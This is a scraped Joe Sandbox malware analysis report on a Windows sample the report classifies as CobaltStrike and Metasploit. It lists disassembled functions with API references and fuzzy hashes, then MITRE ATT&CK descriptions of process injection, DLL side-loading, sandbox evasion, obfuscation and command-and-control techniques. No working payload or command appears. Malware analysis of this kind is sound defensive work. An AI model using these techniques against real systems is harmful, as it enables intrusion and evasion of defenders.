Associated: 00000000.00000002.4125926800.0000000000405000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125980244.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7kSftA4Eoh.jbxd

Similarity

API ID: fprintf
String ID: Argument domain error (DOMAIN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2713391170
Opcode ID: 1d2f049123975630175d9b48e20279646fed079e7b419bc05d7036498ca68734
Instruction ID: 8c7bf1553abe8d1c1cf5b10b417118f64097995adaaa4f0d994d3f7e231e07fb
Opcode Fuzzy Hash: 1d2f049123975630175d9b48e20279646fed079e7b419bc05d7036498ca68734
Instruction Fuzzy Hash: ECF06D62858E8882D2029F1CE4003AB7331FB9EB88F28531AEF8D3A155DB28D5828704

Function 00401CF0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00401CC0

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00401CA7
Partial loss of significance (PLOSS), xrefs: 00401CF0

Memory Dump Source

Source File: 00000000.00000002.4125858105.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4125823781.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125902897.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125926800.0000000000405000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125980244.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7kSftA4Eoh.jbxd

Similarity

API ID: fprintf
String ID: Partial loss of significance (PLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4283191376
Opcode ID: 7751c0dc0e5f4d0d5a77e2b05341f0464b5ada29b978619af56a2b80f2ae8e47
Instruction ID: 5cd091db9141fe0e6e89e9efff11c316d26cc63b3b889972c32c6c159b948a40
Opcode Fuzzy Hash: 7751c0dc0e5f4d0d5a77e2b05341f0464b5ada29b978619af56a2b80f2ae8e47
Instruction Fuzzy Hash: C4F06262858E8882D2029F1CE4003AB7331FB5E788F245316EF8D3A555DB28D5828704

Function 00401D00 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00401CC0

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00401CA7
Overflow range error (OVERFLOW), xrefs: 00401D00

Memory Dump Source

Source File: 00000000.00000002.4125858105.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4125823781.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125902897.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125926800.0000000000405000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125980244.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7kSftA4Eoh.jbxd

Similarity

API ID: fprintf
String ID: Overflow range error (OVERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4064033741
Opcode ID: 2da7071e0933fc8cd59be707335068b51f9eec2d662f944c6a91e8b8bb5ba5d0
Instruction ID: c612fb770c622c5d72669c3638e63aa4b2f428d8e56e9d424d6433c91b575293
Opcode Fuzzy Hash: 2da7071e0933fc8cd59be707335068b51f9eec2d662f944c6a91e8b8bb5ba5d0
Instruction Fuzzy Hash: 6FF01D62958E8882D2029F1DE4003AB7331FB9EB99F68531AEF8D3A555DB29D5828704

Function 00401D10 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00401CC0

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00401CA7
The result is too small to be represented (UNDERFLOW), xrefs: 00401D10

Memory Dump Source

Source File: 00000000.00000002.4125858105.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4125823781.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125902897.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125926800.0000000000405000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125980244.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7kSftA4Eoh.jbxd

Similarity

API ID: fprintf
String ID: The result is too small to be represented (UNDERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2187435201
Opcode ID: 20ed77b3cd1f5ce30684c910d9c1ef4ed1bc2c10df881c0e026ae3cc509b1426
Instruction ID: abe9318e7ccd880ee09ac2f980ce11207d3172f5f88a25f0641f3127fee3ffee
Opcode Fuzzy Hash: 20ed77b3cd1f5ce30684c910d9c1ef4ed1bc2c10df881c0e026ae3cc509b1426
Instruction Fuzzy Hash: 77F06D62858E8882D2029F1DE4003AB7331FB9EB88F28531AEF8D3A155DB28D5828704

Function 00401D20 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00401CC0

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00401CA7
Total loss of significance (TLOSS), xrefs: 00401D20

Memory Dump Source

Source File: 00000000.00000002.4125858105.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4125823781.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125902897.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125926800.0000000000405000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125980244.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7kSftA4Eoh.jbxd

Similarity

API ID: fprintf
String ID: Total loss of significance (TLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4273532761
Opcode ID: 2868899dc0ce06e4a194e0e488d1f1fc1f92f94880d84b2dd2216e23dea375c1
Instruction ID: 7a53e470b351231260d633d6082b1e766a8645853782131be27a1b39d9499402
Opcode Fuzzy Hash: 2868899dc0ce06e4a194e0e488d1f1fc1f92f94880d84b2dd2216e23dea375c1
Instruction Fuzzy Hash: 52F01262958E8882D2029F1DE4003AB7331FB9E799F245316EF8D3A555DB39D5828704

Function 00401C78 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00401CC0

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00401CA7
Argument singularity (SIGN), xrefs: 00401C78

Memory Dump Source

Source File: 00000000.00000002.4125858105.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4125823781.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125902897.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125926800.0000000000405000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125980244.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7kSftA4Eoh.jbxd

Similarity

API ID: fprintf
String ID: Argument singularity (SIGN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2468659920
Opcode ID: bfa7157af2bfae74903953b95ccb901f8d552bd3022b870c14073aba30280489
Instruction ID: b6e0ecebc6e2091bb6bcdfd9ecb9f8b620cfa756c99f7cd1274eda0ebaf44184
Opcode Fuzzy Hash: bfa7157af2bfae74903953b95ccb901f8d552bd3022b870c14073aba30280489
Instruction Fuzzy Hash: CBF03062954F8882D202DF2DE4003AB7331FB5EB9DF649316EF8D3A555DB29D5828704

Function 009A7730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

APIs

OpenProcessToken.ADVAPI32 ref: 009A774A

Part of subcall function 009AAA24: GetTokenInformation.ADVAPI32 ref: 009AAAB9

CloseHandle.KERNEL32 ref: 009A776B

Strings

x86, xrefs: 009A7735

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: Token$CloseHandleInformationOpenProcess
String ID: x86
API String ID: 4232945836-2105985432
Opcode ID: 5a41a51bf698734cf9521a0727e2a643bce50156592c75ad6408320f95609740
Instruction ID: 1a5cd93026961e4c2f986b354ac52fea2b9f85e855f7d43dbd718d407c2ee003
Opcode Fuzzy Hash: 5a41a51bf698734cf9521a0727e2a643bce50156592c75ad6408320f95609740
Instruction Fuzzy Hash: 58E0121571868082DB505B5AF68535AA7A5F7C9BD0F545025EF4947B1ACE2CC894CB40

Function 00991CC4 Relevance: 5.3, APIs: 4, Instructions: 261COMMONLIBRARYCODE

Download Yara Rule

APIs

calloc.LIBCMT ref: 00991D6A

Part of subcall function 009BAD08: _calloc_impl.LIBCMT ref: 009BAD18
Part of subcall function 009BAD08: _errno.LIBCMT ref: 009BAD2B
Part of subcall function 009BAD08: _errno.LIBCMT ref: 009BAD35

free.LIBCMT ref: 00991EF3
free.LIBCMT ref: 00991EFD
free.LIBCMT ref: 00991F0F

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: free$_errno$_calloc_implcalloc
String ID:
API String ID: 4000150058-0
Opcode ID: 7b8745674e28e7b70cb4deb2e970bc6e60b78951763222cc85c2c654bb8a124c
Instruction ID: 17d260f12eae772917fbfea25c996a890e4a1a68eda95b855020f76a9332bdd7
Opcode Fuzzy Hash: 7b8745674e28e7b70cb4deb2e970bc6e60b78951763222cc85c2c654bb8a124c
Instruction Fuzzy Hash: E0C11E76608B858ADB64CF69E48079E77B8F788B88F10412AEF8D47B58DF38C555CB00

Function 0354DD1B Relevance: 5.2, APIs: 4, Instructions: 200COMMONLIBRARYCODE

Download Yara Rule

APIs

_snprintf.LIBCMT ref: 0354DDB8

Part of subcall function 0355AA23: _errno.LIBCMT ref: 0355AA5A
Part of subcall function 0355AA23: _invalid_parameter_noinfo.LIBCMT ref: 0355AA65

_snprintf.LIBCMT ref: 0354DDD4
_snprintf.LIBCMT ref: 0354DE4A
_snprintf.LIBCMT ref: 0354DE61

Memory Dump Source

Source File: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, Offset: 03540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3540000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: _snprintf$_errno_invalid_parameter_noinfo
String ID:
API String ID: 3442832105-0
Opcode ID: 0694fbe2251f325486d7db104ce5f9bbd3e0ba48dceb4aa3373eff9f8ea386f1
Instruction ID: 26963b0f69a855957706cb588b5173a8d9fb927f6d95d59e30666bb9b48742c4
Opcode Fuzzy Hash: 0694fbe2251f325486d7db104ce5f9bbd3e0ba48dceb4aa3373eff9f8ea386f1
Instruction Fuzzy Hash: 8361C734618B498FDB45EF58E894BAAB3F5FBD4304F00466AE84AC3261DF34D945CB82

Function 03543747 Relevance: 5.2, APIs: 4, Instructions: 179COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 035437AA

Memory Dump Source

Source File: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, Offset: 03540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3540000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: af4f2ed209ae52dfb52021ff345b07ebb56da9540d6e1632b77b8fead6dfbfea
Instruction ID: 6ce9466f0741ca27fc1e98490d0e6323319cdf183abcdcd0f50e7bb996463faf
Opcode Fuzzy Hash: af4f2ed209ae52dfb52021ff345b07ebb56da9540d6e1632b77b8fead6dfbfea
Instruction Fuzzy Hash: 9541E634618B064BCB1CDF2CE49557AB3E5FB8831471455ADE89BC7276EE20EC268781

Function 009A92AC Relevance: 5.2, APIs: 4, Instructions: 155COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 009A92E0

Part of subcall function 009AB228: _FF_MSGBANNER.LIBCMT ref: 009AB258
Part of subcall function 009AB228: _NMSG_WRITE.LIBCMT ref: 009AB262
Part of subcall function 009AB228: HeapAlloc.KERNEL32 ref: 009AB27D
Part of subcall function 009AB228: _callnewh.LIBCMT ref: 009AB296
Part of subcall function 009AB228: _errno.LIBCMT ref: 009AB2A1
Part of subcall function 009AB228: _errno.LIBCMT ref: 009AB2AC

free.LIBCMT ref: 009A9427
free.LIBCMT ref: 009A948B
free.LIBCMT ref: 009A9497

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: free$_errno$AllocHeap_callnewhmalloc
String ID:
API String ID: 3531731211-0
Opcode ID: bf2fa5ecadbf00b126af2478addb5279d637b8534d83bb3cc027b42e06044e64
Instruction ID: d54715692d23318cb9d8a8227b6df19685ef786b7d620a523b3318257b1e9007
Opcode Fuzzy Hash: bf2fa5ecadbf00b126af2478addb5279d637b8534d83bb3cc027b42e06044e64
Instruction Fuzzy Hash: 0F51103530035596DE28EB2AE45037D73A5FBC6BC4F544826EE0A5BB6ADF7DC9028780

Function 00994300 Relevance: 5.1, APIs: 4, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 00994363

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: a9f70d8d661e754e97da783645b1eceb47fb1fb23061e2859f8b3bf798c97032
Instruction ID: a06f2c93efe231682e9ae271d8e4ce76bfa9159d9b4dc3721ed659f9cbc0efd0
Opcode Fuzzy Hash: a9f70d8d661e754e97da783645b1eceb47fb1fb23061e2859f8b3bf798c97032
Instruction Fuzzy Hash: B941B03230478187CF1ADB3AE810B6E77A5F795B88F444925EE2A4BB15EF38D846C700

Function 009AACF8 Relevance: 5.1, APIs: 4, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

free.LIBCMT ref: 009AAD48
free.LIBCMT ref: 009AAD94
free.LIBCMT ref: 009AADA5

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 4350b5d869eca4339ae27fc6fc5fc27bb66f5a9d561c1982dceb1c24f79df318
Instruction ID: 5327213162736a4d9dedb061f11b794d1ef06492c22a2065574ccc034b70cede
Opcode Fuzzy Hash: 4350b5d869eca4339ae27fc6fc5fc27bb66f5a9d561c1982dceb1c24f79df318
Instruction Fuzzy Hash: 5121B132704B8082EB59DFA2F5903296765FB89F8DF444626D94F17A7ADF38C480C7A1

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 7kSftA4Eoh.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: CobaltStrike

Threatname: Metasploit

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

HTTP Packets

Statistics

Windows Analysis Report
7kSftA4Eoh.exe

Function 0099E3A0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 152
networkfileCOMMONLIBRARYCODE

Function 00401180 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 196
